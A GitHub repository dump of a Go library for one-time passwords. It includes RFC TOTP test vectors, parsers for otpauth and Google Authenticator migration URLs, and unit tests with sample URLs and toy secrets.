token shared secret uses the ASCII string value: SHA1 12345678901234567890 SHA256 12345678901234567890123456789012 SHA512 1234567890123456789012345678901234567890123456789012345678901234 With Time Step X = 30, and the Unix epoch as the initial value to count time steps, where T0 = 0, the TOTP algorithm will display the following values for specified modes and timestamps. +-------------+--------------+------------------+----------+--------+ | Time (sec) | UTC Time | Value of T (hex) | TOTP | Mode | +-------------+--------------+------------------+----------+--------+ | 59 | 1970-01-01 | 0000000000000001 | 94287082 | SHA1 | | | 00:00:59 | | | | | 59 | 1970-01-01 | 0000000000000001 | 46119246 | SHA256 | | | 00:00:59 | | | | | 59 | 1970-01-01 | 0000000000000001 | 90693936 | SHA512 | | | 00:00:59 | | | | | 1111111109 | 2005-03-18 | 00000000023523EC | 07081804 | SHA1 | | | 01:58:29 | | | | | 1111111109 | 2005-03-18 | 00000000023523EC | 68084774 | SHA256 | | | 01:58:29 | | | | | 1111111109 | 2005-03-18 | 00000000023523EC | 25091201 | SHA512 | | | 01:58:29 | | | | | 1111111111 | 2005-03-18 | 00000000023523ED | 14050471 | SHA1 | | | 01:58:31 | | | | | 1111111111 | 2005-03-18 | 00000000023523ED | 67062674 | SHA256 | | | 01:58:31 | | | | | 1111111111 | 2005-03-18 | 00000000023523ED | 99943326 | SHA512 | | | 01:58:31 | | | | | 1234567890 | 2009-02-13 | 000000000273EF07 | 89005924 | SHA1 | | | 23:31:30 | | | | | 1234567890 | 2009-02-13 | 000000000273EF07 | 91819424 | SHA256 | | | 23:31:30 | | | | | 1234567890 | 2009-02-13 | 000000000273EF07 | 93441116 | SHA512 | | | 23:31:30 | | | | | 2000000000 | 2033-05-18 | 0000000003F940AA | 69279037 | SHA1 | | | 03:33:20 | | | | | 2000000000 | 2033-05-18 | 0000000003F940AA | 90698825 | SHA256 | | | 03:33:20 | | | | | 2000000000 | 2033-05-18 | 0000000003F940AA | 38618901 | SHA512 | | | 03:33:20 | | | | | 20000000000 | 2603-10-11 | 0000000027BC86AA | 65353130 | SHA1 | | | 11:33:20 | | | | | 20000000000 | 2603-10-11 | 0000000027BC86AA | 77737706 | SHA256 | | | 11:33:20 | | | | | 20000000000 | 2603-10-11 | 0000000027BC86AA | 47863826 | SHA512 | | | 11:33:20 | | | | +-------------+--------------+------------------+----------+--------+ */ ``` ## /otpauth/migration.go ```go path="/otpauth/migration.go" package otpauth import ( "bytes" "encoding/base64" "encoding/binary" "errors" "fmt" "io" "net/url" "strings" "github.com/creachadair/wirepb" ) // ParseMigrationURL parses an otpauth-migration URL in the format generated by // the Google Authenticator for "exported" configurations. Typically these URLs // are embedded as QR codes, encoding a proprietary URL in this format: // // otpauth-migration://offline?data= // // The content is a protocol buffer message encoded as base64 in standard // encoding. Note that a single migration URL may encode multiple OTP // settings; on success this function returns all the otpauth URLs encoded by // the content. It will always return at least one URL, or report an error. func ParseMigrationURL(s string) ([]*URL, error) { rest, ok := strings.CutPrefix(s, "otpauth-migration://") if !ok { return nil, errors.New("missing otpauth-migration schema prefix") } content, ok := strings.CutPrefix(rest, "offline?data=") if !ok { return nil, errors.New("unrecognized path format") } dec, err := url.QueryUnescape(content) if err != nil { return nil, fmt.Errorf("invalid data: %w", err) } bits, err := base64.StdEncoding.DecodeString(dec) if err != nil { return nil, fmt.Errorf("invalid base64: %w", err) } return parseMigrations(bits) } /* The content of a migration URL is a wire-format protocol buffer message. I don't want to take a dependency on protobuf, since that pulls in a lot of other expensive Google nonsense, but fortunately the message structure is fairly simple: message Content { repeated Params params = 1; // ... other fields not of interest. // If you're exporting more data than can fit in one QR code, the app may // split up the export into multiple codes. There are some fields here to // keep track of that, but they aren't relevant here. } message Params { bytes secret = 1; string account = 2; string issuer = 3; int32 algorithm = 4; // 0: unspec, 1: SHA1, 2: SHA256, 3: SHA512, 4: MD5 int32 digits = 5; // 0: unspec, 1: 6 digits, 2: 8 digits (typical Google) int32 type = 6; // 0: unspec, 1: HOTP, 2: TOTP uint64 counter = 7; } So here we just unpack the wire format directly. */ // parseMigrations parses data as a wire-format protobuf message in the Content // format described above, and returns a single URL for each instance of the // Params found therein. Other fields of the message are ignored. func parseMigrations(data []byte) ([]*URL, error) { const paramsField = 1 var out []*URL s := wirepb.NewScanner(bytes.NewReader(data)) for s.Next() == nil { if s.ID() == paramsField { u, err := parseParams(s.Data()) if err != nil { return nil, err } out = append(out, u) } } if s.Err() != io.EOF { return nil, s.Err() } else if len(out) == 0 { return nil, errors.New("no URLs found") } return out, nil } func parseParams(data []byte) (*URL, error) { const ( secretField = 1 + iota accountField issuerField algorithmField digitsField typeField counterField ) var out = URL{Algorithm: defaultAlgorithm, Digits: defaultDigits, Period: defaultPeriod} s := wirepb.NewScanner(bytes.NewReader(data)) for s.Next() == nil { switch s.ID() { case secretField: out.SetSecret(s.Data()) case accountField: out.Account = string(s.Data()) case issuerField: out.Issuer = string(s.Data()) case algorithmField: switch v, _ := binary.Uvarint(s.Data()); v { case 1: out.Algorithm = "SHA1" case 2: out.Algorithm = "SHA256" case 3: out.Algorithm = "SHA512" case 4: out.Algorithm = "MD5" default: return nil, fmt.Errorf("unknown algorithm code %d", v) } case digitsField: switch v, _ := binary.Uvarint(s.Data()); v { case 1: out.Digits = 6 case 2: out.Digits = 8 default: return nil, fmt.Errorf("unknown digits code %d", v) } case typeField: switch v, _ := binary.Uvarint(s.Data()); v { case 1: out.Type = "hotp" case 2: out.Type = "totp" default: return nil, fmt.Errorf("unknown type code %d", v) } case counterField: v, n := binary.Uvarint(s.Data()) if n <= 0 { return nil, errors.New("invalid counter value") } out.Counter = v } } if s.Err() != io.EOF { return nil, s.Err() } return &out, nil } ``` ## /otpauth/otpauth.go ```go path="/otpauth/otpauth.go" // Copyright (C) 2020 Michael J. Fromberger. All Rights Reserved. // Package otpauth handles the URL format used to specify OTP parameters. // // This package conforms to the specification at: // https://github.com/google/google-authenticator/wiki/Key-Uri-Format // // The general form of an OTP URL is: // // otpauth://TYPE/LABEL?PARAMETERS package otpauth import ( "encoding/base32" "errors" "fmt" "net/url" "strconv" "strings" "github.com/wryhuman/otp" ) const ( defaultAlgorithm = "SHA1" defaultDigits = 6 defaultPeriod = 30 ) // A URL contains the parsed representation of an otpauth URL. type URL struct { Type string // normalized to lowercase, e.g., "totp" Issuer string // also called "provider" in some docs Account string // without provider prefix RawSecret string // base32-encoded, no padding Algorithm string // normalized to uppercase; default is "SHA1" Digits int // default is 6 Period int // in seconds; default is 30 Counter uint64 } // Secret parses the contents of the RawSecret field. func (u *URL) Secret() ([]byte, error) { return otp.ParseKey(u.RawSecret) } // SetSecret encodes key as base32 and updates the RawSecret field. func (u *URL) SetSecret(key []byte) { enc := base32.StdEncoding.EncodeToString(key) u.RawSecret = strings.TrimRight(enc, "=") } // String converts u to a URL in the standard encoding. func (u *URL) String() string { var sb strings.Builder sb.WriteString("otpauth://") typ := strings.ToLower(u.Type) sb.WriteString(typ) sb.WriteByte('/') sb.WriteString(u.labelString()) // Encode parameters if there are any non-default values. var params []string if a := strings.ToUpper(u.Algorithm); a != "" && a != "SHA1" { params = append(params, "algorithm="+queryEscape(a)) } if c := u.Counter; c > 0 || typ == "hotp" { params = append(params, "counter="+strconv.FormatUint(c, 10)) } if d := u.Digits; d > 0 && d != defaultDigits { params = append(params, "digits="+strconv.Itoa(d)) } if o := u.Issuer; o != "" { params = append(params, "issuer="+queryEscape(o)) } if p := u.Period; p > 0 && p != defaultPeriod { params = append(params, "period="+strconv.Itoa(p)) } if s := u.RawSecret; s != "" { enc := strings.ToUpper(strings.Join(strings.Fields(strings.TrimRight(s, "=")), "")) params = append(params, "secret="+queryEscape(enc)) } if len(params) != 0 { sb.WriteByte('?') sb.WriteString(strings.Join(params, "&")) } return sb.String() } // UnmarshalText implements the encoding.TextUnmarshaler interface. // It expects its input to be a URL in the standard encoding. func (u *URL) UnmarshalText(data []byte) error { p, err := ParseURL(string(data)) if err != nil { return err } *u = *p // a shallow copy is safe, there are no pointers return nil } // MarshalText implemens the encoding.TextMarshaler interface. // It emits the same URL string produced by the String method. func (u *URL) MarshalText() ([]byte, error) { return []byte(u.String()), nil } func (u *URL) labelString() string { label := url.PathEscape(u.Account) if u.Issuer != "" { return url.PathEscape(u.Issuer) + ":" + label } return label } func (u *URL) parseLabel(s string) error { account, err := url.PathUnescape(s) if err != nil { return err } if i := strings.Index(account, ":"); i >= 0 { u.Issuer = strings.TrimSpace(account[:i]) if u.Issuer == "" { return errors.New("empty issuer") } account = account[i+1:] } u.Account = strings.TrimSpace(account) if u.Account == "" { return errors.New("empty account name") } return nil } // ParseURL parses s as a URL in the otpauth scheme. // // The input may omit a scheme, but if present the scheme must be otpauth://. // The parser will report an error for invalid syntax, including unknown URL // parameters, but does not otherwise validate the results. In particular, the // values of the Type and Algorithm fields are not checked. // // Fields of the URL corresponding to unset parameters are populated with // default values as described on the URL struct. If a different issuer is set // on the label and in the parameters, the parameter takes priority. func ParseURL(s string) (*URL, error) { // A scheme is not required, but if present it must be "otpauth". if ps := strings.SplitN(s, "://", 2); len(ps) == 2 { if ps[0] != "otpauth" { return nil, fmt.Errorf("invalid scheme %q", ps[0]) } s = ps[1] // trim scheme prefix } // Extract TYPE/LABEL and optional PARAMS. var typeLabel, params string if ps := strings.SplitN(s, "?", 2); len(ps) == 2 { typeLabel, params = ps[0], ps[1] } else { typeLabel = ps[0] } // Require that type and label are both present and non-empty. // Note that the "//" authority marker is treated as optional. ps := strings.SplitN(strings.TrimPrefix(typeLabel, "//"), "/", 2) // [TYPE, LABEL] if len(ps) != 2 || ps[0] == "" || ps[1] == "" { return nil, errors.New("invalid type/label") } out := &URL{ Type: strings.ToLower(ps[0]), Algorithm: defaultAlgorithm, Digits: defaultDigits, Period: defaultPeriod, } if err := out.parseLabel(ps[1]); err != nil { return nil, fmt.Errorf("invalid label: %v", err) } if params == "" { return out, nil } // Parse URL parameters. for _, param := range strings.Split(params, "&") { ps := strings.SplitN(param, "=", 2) if len(ps) == 1 { ps = append(ps, "") // check value below } value, err := url.QueryUnescape(ps[1]) if err != nil { return nil, fmt.Errorf("invalid value: %v", err) } // Handle string-valued parameters. if ps[0] == "algorithm" { out.Algorithm = strings.ToUpper(value) continue } else if ps[0] == "issuer" { out.Issuer = value continue } else if ps[0] == "secret" { out.RawSecret = value continue } // All other valid parameters require an integer argument. // Defer error reporting so we report an unknown field first. n, err := strconv.ParseUint(value, 10, 64) switch ps[0] { case "counter": out.Counter = n case "digits": out.Digits = int(n) case "period": out.Period = int(n) default: return nil, fmt.Errorf("invalid parameter %q", ps[0]) } if err != nil { return nil, fmt.Errorf("invalid integer value %q", value) } } return out, nil } func queryEscape(s string) string { return strings.ReplaceAll(url.QueryEscape(s), "+", "%20") } ``` ## /otpauth/otpauth_test.go ```go path="/otpauth/otpauth_test.go" // Copyright (C) 2020 Michael J. Fromberger. All Rights Reserved. package otpauth_test import ( "strings" "testing" "github.com/wryhuman/otp/otpauth" "github.com/google/go-cmp/cmp" ) func TestValid(t *testing.T) { tests := []struct { name string input string secret string want *otpauth.URL }{ // Test vector adapted from // https://github.com/google/google-authenticator/wiki/Key-Uri-Format {"SpecExample", `otpauth://totp/ACME%20Co:john.doe@email.com?secret=JBSWY3DPEHPK3PXP&issuer=ACME%20Co&algorithm=SHA1&digits=6&period=30`, "Hello!\xde\xad\xbe\xef", &otpauth.URL{ Type: "totp", Issuer: "ACME Co", Account: "john.doe@email.com", RawSecret: "JBSWY3DPEHPK3PXP", Algorithm: "SHA1", Digits: 6, Period: 30, Counter: 0, }}, {"AllDefaults", `otpauth://totp/minsc@boo.com?secret=M5XSAZTPOIQHI2DFEBSXSZLT`, "go for the eyes", &otpauth.URL{ Type: "totp", Account: "minsc@boo.com", RawSecret: "M5XSAZTPOIQHI2DFEBSXSZLT", Algorithm: "SHA1", Digits: 6, Period: 30, }}, // Verify that places where extra whitespace is allowed, e.g., around the // name of the issuer or after the ":" separating it from the account, // are properly handled. {"ExtraSpace", `otpauth://hotp/fippy%20darkpaw%20%3a%20%20gnoll%20runner?digits=8&period=100&counter=5`, "", &otpauth.URL{ Type: "hotp", Issuer: "fippy darkpaw", Account: "gnoll runner", Algorithm: "SHA1", Digits: 8, Period: 100, Counter: 5, }}, } for _, tc := range tests { // Check parsing with and without the scheme prefix. full := tc.input part := strings.TrimPrefix(full, "otpauth:") base := strings.TrimPrefix(part, "//") t.Run(tc.name, func(t *testing.T) { for _, url := range []string{base, part, full} { u, err := otpauth.ParseURL(url) if err != nil { t.Errorf("ParseURL(%q): unexpected error: %v", url, err) continue } if diff := cmp.Diff(u, tc.want); diff != "" { t.Errorf("Wrong URL (-got, +want):\n%s", diff) continue } got, err := u.Secret() if err != nil { t.Errorf("Parsing secret %q: unexpected error: %v", u.RawSecret, err) } else if string(got) != tc.secret { t.Errorf("Parsed secret: got %q, want %q", string(got), tc.secret) } } }) } } func TestEncoding(t *testing.T) { tests := []struct { *otpauth.URL want string }{ {&otpauth.URL{ Type: "totp", Account: "foo", }, "otpauth://totp/foo"}, {&otpauth.URL{ Type: "totp", Account: "quux", Algorithm: "sha256", RawSecret: "MZUXG2DZEBTGS43I", }, "otpauth://totp/quux?algorithm=SHA256&secret=MZUXG2DZEBTGS43I"}, {&otpauth.URL{ Type: "hotp", Account: "your@uncle.co.uk", Issuer: "bob", }, "otpauth://hotp/bob:your@uncle.co.uk?counter=0&issuer=bob"}, {&otpauth.URL{ Type: "random", Issuer: "two kittens", Account: "in@trench-coat.org", Digits: 8, Period: 60, }, "otpauth://random/two%20kittens:in@trench-coat.org?digits=8&issuer=two%20kittens&period=60"}, } for _, test := range tests { t.Run("String", func(t *testing.T) { got := test.URL.String() if got != test.want { t.Errorf("Input: %+v\nWrong encoding:\n got: %q\nwant: %q", test.URL, got, test.want) } }) t.Run("Text", func(t *testing.T) { // The URL should encode to the same format as String. text, err := test.URL.MarshalText() if err != nil { t.Fatalf("MarshalText failed: %v", err) } if got := string(text); got != test.want { t.Errorf("MarshalText: got %#q, want %#q", got, test.want) } // Unmarshaling the string should result in an equivalent URL. // N.B. not necessarily equal, because of auto-population of defaults. var cmp otpauth.URL if err := cmp.UnmarshalText(text); err != nil { t.Fatalf("UnmarshalText failed: %v", err) } if got, want := cmp.String(), test.URL.String(); got != want { t.Errorf("UnmarshalText: got %#q, want %#q", got, want) } }) } } func TestParseeErrors(t *testing.T) { tests := []struct { input string etext string }{ {"http://www.bogus.com", "invalid scheme"}, {"otpauth://totp", "invalid type/label"}, {"otpauth://totp/", "invalid type/label"}, {"otpauth:///", "invalid type/label"}, {"otpauth:///label", "invalid type/label"}, {"otpauth://hotp/%xx", "invalid URL escape"}, {"otpauth://totp/foo?invalid=what", "invalid parameter"}, {"otpauth://totp/foo?digits=25&invalid=what", "invalid parameter"}, {"otpauth://totp/x:", "empty account name"}, {"otpauth://totp/:y", "empty issuer"}, {"otpauth://ok/a:b?digits=x", "invalid integer value"}, {"otpauth://ok/a:b?period=x", "invalid integer value"}, {"otpauth://ok/a:b?counter=x", "invalid integer value"}, {"otpauth://ok/a:b?algorithm=x%2x", "invalid value"}, } for _, test := range tests { u, err := otpauth.ParseURL(test.input) if err == nil { t.Errorf("ParseURL(%q): got %+v, wanted error", test.input, u) continue } if got := err.Error(); !strings.Contains(got, test.etext) { t.Errorf("ParseURL(%q): got error %v, wanted %q", test.input, err, test.etext) } } } func TestParseMigrationURL(t *testing.T) { // Test input synthesized using Google Authenticator. To re-generate this // test example: // // - Create a new entry named "test 1" with the key "fuzzlebuzzlegibbledibble", counter-based. // Generate 3 codes from this (advancing the counter from 0 to 3). // - Create a new entry named "test 2" with the key "applepieispeachy", time-based. // - Export these two entries together as a single QR code. // - Parse the QR code to export the migration URL. // u, err := otpauth.ParseMigrationURL(`otpauth-migration://offline?data=CiEKDy0zlZA0zlZDICFZBoCFZBIGdGVzdCAxIAEoATABOAMKGgoKA96yPQREnkAI%2BBIGdGVzdCAyIAEoATACEAIYASAA`) if err != nil { t.Fatalf("ParseMigrationURL: unexpected error: %v", err) } if diff := cmp.Diff(u, []*otpauth.URL{{ Type: "hotp", Account: "test 1", RawSecret: "FUZZLEBUZZLEGIBBLEDIBBLE", Algorithm: "SHA1", Digits: 6, Counter: 3, Period: 30, // default }, { Type: "totp", Account: "test 2", RawSecret: "APPLEPIEISPEACHY", Algorithm: "SHA1", Digits: 6, Period: 30, // default }}); diff != "" { t.Errorf("Parsed (-got, +want):\n%s", diff) } } ``` The better and more specific the context, the better the LLM can follow instructions. If the context seems verbose, the user can refine the filter using uithub. Thank you for using https://uithub.com - Perfect LLM context for any GitHub repo.